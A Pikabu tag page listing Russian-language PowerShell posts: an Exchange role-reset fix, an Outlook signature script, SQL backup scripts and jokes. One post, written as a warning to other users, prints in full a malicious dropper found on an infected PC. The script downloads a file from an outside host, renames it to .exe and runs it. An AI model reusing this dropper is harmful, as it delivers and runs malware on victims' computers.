Горячее
Лучшее
Свежее
Подписки
Сообщества
Блоги
Эксперты
Войти
Забыли пароль?
или продолжите с
Создать аккаунт
Я хочу получать рассылки с лучшими постами за неделю
или
Восстановление пароля
Восстановление пароля
Получить код в Telegram
Войти с Яндекс ID Войти через VK ID
Создавая аккаунт, я соглашаюсь с правилами Пикабу и даю согласие на обработку персональных данных.
ПромокодыРаботаКурсыРекламаИгрыПополнение Steam
Пикабу Игры +1000 бесплатных онлайн игр
Сыграйте в классический пасьянс и попробуйте разложить по порядку колоду из 52 карт, начиная с короля и заканчивая тузом. Игра имеет четыре варианта: с 1, 2, 3 и 4 мастями. Выиграйте как можно больше в каждом варианте и улучшите свои показатели.

Пасьянс Паук «Классический»

Карточные, Логическая, Мобильная

Играть

Топ прошлой недели

  • AlexKud AlexKud 38 постов
  • SergeyKorsun SergeyKorsun 12 постов
  • SupportHuaport SupportHuaport 5 постов
Посмотреть весь топ

Лучшие посты недели

Рассылка Пикабу: отправляем самые рейтинговые материалы за 7 дней 🔥

Нажимая кнопку «Подписаться на рассылку», я соглашаюсь с Правилами Пикабу и даю согласие на обработку персональных данных.

Спасибо, что подписались!
Пожалуйста, проверьте почту 😊

Помощь Кодекс Пикабу Команда Пикабу Моб. приложение
Правила соцсети О рекомендациях О компании
Промокоды Биг Гик Промокоды Lamoda Промокоды МВидео Промокоды Яндекс Директ Промокоды Отелло Промокоды Aroma Butik Промокоды Яндекс Путешествия Постила Футбол сегодня

Powershell

С этим тегом используют

Windows Все
43 поста сначала свежее
70
JlLonacpu4kou
JlLonacpu4kou
5 лет назад
Лига Сисадминов

Сброс параметров Custom Role Groups в Exchange Server 2013+ после обновления⁠⁠

Вы не найдёте это ни на одном официальном сайте Майкрософт.

Я просто оставлю это здесь.


Сценарий:

1. Создаём новую Admin Role Group например для тех поддержки: "HelpDesk"

2. Добавляем в неё роль "Password Reset", чтобы участники  "HelpDesk" могли менять пароли пользователей напрямую в EAC

3. Устанавливаем очередной CU, перезагружаем

4. ООПС! Группа "HelpDesk" есть, а роль "Password Reset" исчезла


Майкрософт официально ответил, что это "Бай дезайн (by design)" типа так задумано и никаких изменений по этой теме делаться не будет.


Решение - Скрипт, а ещё лучше скрипт в Планировщике задач, после каждой перезагрузки. Основные команды:



New-ManagementRoleAssignment -Name "Reset Password-HelpDesk" -Role "Reset Password" -SecurityGroup "HelpDesk" -ErrorAction Stop


#проверка

Get-ManagementRoleAssignment -identity "Reset Password-HelpDesk"

Get-RoleGroup "HelpDesk" | select-object -ExpandProperty Roles | ft




Если в процессе выполнения скрипта вылезет что-то непонятное, попробуйте переустановить  CannedRbacRoles в Exchange PS запущенной как Администратор:


Add-pssnapin microsoft*

Install-CannedRbacRoles

Install-CannedRbacRoleAssignments


Потом запустите скрипт снова.


Не благодарите! :)

Показать полностью
[моё] Microsoft Exchange Bugfix Скрипт Powershell Текст
14
berserkhawk
berserkhawk
6 лет назад

С днем системного администратора⁠⁠

Поздравляю, хоть и несколько запоздало, всех коллег - системных администраторов с профессиональным праздником!


В честь праздника я решил выложить первый вариант книги, по Windows Powershell, которую начинал несколько лет назад собирать для себя.

Сейчас решил поделиться со всеми.

Надеюсь, что она окажется кому-то полезной.


Пост о книге в моем блоге

Ссылка на саму книгу

[моё] Powershell Windows Системное администрирование Текст
12
DELETED
6 лет назад
Лига Сисадминов

Oledata.mso в приложении к письму - скрипт подписи⁠⁠

Доброго времени суток, уважаемые.


Есть у меня задача - переписать скрипт, создающий подписи в Outlook на основе данных из AD. Есть наследие на VBS, хотелось бы переписать на powershell и чтобы были шаблоны подписей, которые было удобно менять.

Механика: обращение к COM-объектам MS WORD, использование их методов для изменения документа-шаблона подписи, проставление результата в качестве подписей в Outlook.

Доставка до пользователя осуществляется logon-скриптом через GPO.


И в общем-то я его переписал.


Однако, после применения скрипта, пользователи с новой подписью начинают прикреплять к своим сообщением вложение с файлом oledata.mso из папки имяподписи.files - папка с файлами для HTML-варианта подписи. При этом, это вложение не отображается если просматривать почту через outlook или owa, но отображается сторонними почтовыми программами. При чем старый VBS скрипт такого файла при использовании метода EmailOptions.EmailSignature.EmailSignatureEntries.Add НЕ создает.

В принципе, я дописал в конце скрипта GCI "$LocalSignaturePath\*.files\oledata.mso" | Remove-Item, и после этого не нашел каких-либо проблем с отображением ни подписи, ни писем ею подписанных.


Есть какие-ни будь версии происходящего? Что это такое и как с этим бороться (и стоит ли)?


Если кто-то решит реально заморячиться, могу скинуть скрипты.

Показать полностью
[моё] Powershell Быдлокодинг Текст
3
659
DELETED
7 лет назад

Когда говнокодишь и беспокоишься за своё здоровье =)⁠⁠

Когда говнокодишь и беспокоишься за своё здоровье =) Скрипт, Powershell, Комментарии, Скриншот, Комментарии на Пикабу

l: https://pikabu.ru/story/dispetcher_zadach_5975107#comment_115492567

Скрипт Powershell Комментарии Скриншот Комментарии на Пикабу
39
7
egor147
egor147
7 лет назад

Новые вирусы через Powershell и Internet Explorer⁠⁠

Новые вирусы через Powershell и Internet Explorer Powershell, Вирус, Уязвимость, Длиннопост

Хочу предупредить о возможно новых вирусах через веб-браузер и интерпретатор Powershell (virustotal не определяет по этому скрипт-файлу наличие вируса). У пользователя компьютера обнаружил 100% загрузку CPU (процессорное время), оказалось выполняется два процесса интерпретатора Powershell, которые выполняли скрипт из директории TEMP под названием rad1B9F1.ps1. Предполагаю что скрипт что-то скачивает и выполняет (дроппер), содержимое скрипт-файла приложено. Пользователь сказала, что сегодня заходила только на "сайт с новостями woman.ru", через IE9 (поставил ей Chrome). Возможно, эксплуатируется какая-нибудь уязвимость браузера совместно с уязвимостью в рекламной сети (Adwords или Директ).

$global:Url = "https://www.karahan.net/news/attachment.php?attachmentid=800..."
$global:Hash = "740ede"
$global:Temp = $env:TEMP
$global:Cache = $FALSE
$global:Binary = $TRUE
function Create-Temp-Folder
{
$IO = [System.IO.Directory]
$Name = ("scp" + (Get-Random -Minimum 9999 -Maximum 99999))
if ($IO::CreateDirectory("$global:Temp\$Name"))
{
(Set-Variable -Name "Temp" -Value "$global:Temp\$Name" -Scope Global)
}
}
function Create-Cache
{
if ($global:Cache -eq $FALSE)
{
$Name = (-join((97..122) | Get-Random -Count 6 | % { [char]$_ }))
if (($Name.length) -eq 6)
{
$Path = "$global:Temp\$Name.tmp"
if (!(Test-Path $Path -PathType Leaf))
{
(New-Item $Path -ItemType "file" | Out-Null)
if (Test-Path $Path -PathType Leaf)
{
(Set-Variable -Name "Cache" -Value $Path -Scope Global)
}
}
}
}
}
function Create-Request
{
param(
[string] $Url = $FALSE,
[string] $Output = $FALSE
)
if ($Url -ne $FALSE)
{
$R = [System.Net.WebRequest]::Create($Url)
$Stream = ($R.GetResponse()).GetResponseStream();
if ($Output -ne $FALSE)
{
$IO = (New-Object IO.FileStream($Output, [IO.FileMode]::Create))
$Buff = (New-Object byte[] 1024)
do
{
$Len = $Stream.Read($Buff, 0, 1024)
$IO.Write($Buff, 0, $Len)
}
while ($Len -ne 0)
$IO.Close()
}
else
{
$Data = (New-Object -TypeName System.IO.StreamReader $Stream).ReadToEnd()
if (($Data.length) -ge 5)
{
return $Data
}
}
$Stream.Close()
}
}
function Create-Window
{
param(
[string] $Path = $FALSE,
[bool] $Binary = $FALSE
)
if ($Path -ne $FALSE)
{
if (Test-Path $Path -PathType Leaf)
{
if ($Binary -eq $TRUE)
{
(Rename-Item -Path $Path -NewName "$Path.exe")
if (Test-Path "$Path.exe" -PathType Leaf)
{
& "$Path.exe"
}
}
else
{
(Rename-Item -Path $Path -NewName "$Path.txt")
if (Test-Path "$Path.txt" -PathType Leaf)
{
& "$Path.txt"
}
}
}
}
}
function Initialize
{
(Create-Temp-Folder)
(Create-Cache)
if ($global:Cache -ne $FALSE)
{
(Create-Request -Url $global:Url -Output $global:Cache)
(Create-Window -Path $global:Cache -Binary $global:Binary)
}
}
function Auth
{
$Path = "$env:TEMP\$global:Hash"
if (!(Test-Path $Path -PathType Leaf))
{
(New-Item $Path -ItemType "file" | Out-Null)
if (Test-Path $Path -PathType Leaf)
{
(Initialize)
}
}
}
(Auth)
Показать полностью
[моё] Powershell Вирус Уязвимость Длиннопост
9
2
armandeatos
7 лет назад

Ужин на скриптах⁠⁠

Искал я тут книги по скриптовому языку Powershell. В любимом книжном магазине товар был в наличии, но при заказе оказалось, что ждать придётся от недели до трёх. Меня это не устроило и я решил поискать по другим площадкам. И вот оно - реклама наконец-то оказалась полезной: появилась ссылка на всем известную площадку Лит**с. Цена приятно удивила и я решил - надо брать! Быстро установил приложение и забил в поиск ключевое слово. Результат мнения просто поразил:

Ужин на скриптах Книги, Powershell

Ну все, теперь я и сыт буду и скрипты научусь писать!

Книги Powershell
4
3380
Wedge
Wedge
7 лет назад

В любой ситуации запускайте PowerShell!⁠⁠

В любой ситуации запускайте PowerShell!
[моё] Powershell Google Яндекс
68
Партнёрский материал Реклама
specials
specials

Сколько нужно времени, чтобы уложить теплый пол?⁠⁠

Точно не скажем, но в нашем проекте с этим можно справиться буквально за минуту одной левой!

Попробовать

Ремонт Теплый пол Текст
5
Zurko
8 лет назад
Лига Сисадминов

Резервное копирование резервных копий.⁠⁠

Собственно скрипты предназначены для резервного копирования файлов резервных копий sql сервера.

В настоящий момент скрипт функционирует на рабочем сервере чуть больше месяца, проблем пока не было.

Надеюсь поделитесь со мной вашим мнением и способами оптимизации.


Файлы скрипта на GDisk


Файл backup.ps1  скрипт копирования.

Файл check.ps1  скрипт для проверки скопированных файлов.

Файл del_old_backup.ps1  скрипт для удаления устаревших копий.

[моё] Powershell SQL Системное администрирование Текст
27
Посты не найдены
О нас
О Пикабу Контакты Реклама Сообщить об ошибке Сообщить о нарушении законодательства Отзывы и предложения Новости Пикабу Мобильное приложение RSS
Информация
Помощь Кодекс Пикабу Команда Пикабу Конфиденциальность Правила соцсети О рекомендациях О компании
Наши проекты
Блоги Работа Промокоды Игры Курсы
Партнёры
Промокоды Биг Гик Промокоды Lamoda Промокоды Мвидео Промокоды Яндекс Директ Промокоды Отелло Промокоды Aroma Butik Промокоды Яндекс Путешествия Постила Футбол сегодня
На информационном ресурсе Pikabu.ru применяются рекомендательные технологии